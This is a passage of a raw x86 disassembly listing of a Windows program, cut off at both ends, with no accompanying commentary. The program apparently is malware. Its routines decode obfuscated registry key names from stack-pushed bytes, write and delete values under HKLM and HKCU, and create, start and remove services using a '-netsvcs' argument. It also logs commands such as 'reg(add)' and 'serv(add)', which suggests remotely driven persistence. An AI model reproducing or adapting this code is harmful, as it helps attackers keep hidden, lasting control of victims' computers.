[esp+80h+var_70] push edx nop call near ptr 28F0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax nop call near ptr 27F08CBh lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 28F09E6h mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447874 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi nop call near ptr 2900000h mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 27C090Ch cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi nop call near ptr 29003EFh lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 2900605h test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F09E6h mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 28907E8h mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 29003EFh pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 28F05BCh push esi nop call near ptr 28F0908h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F09E6h mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi nop call near ptr 28907E8h test eax, eax jnz short loc_40F076 push esi nop call near ptr 29003EFh xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F09E6h mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 28907E8h mov esi, eax test esi, esi jnz short loc_40F0FB push edi nop call near ptr 29003EFh pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi nop call near ptr 28E0C24h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F70 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 call near ptr 27F06DAh nop push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447134 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447138 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44713C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447140 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: 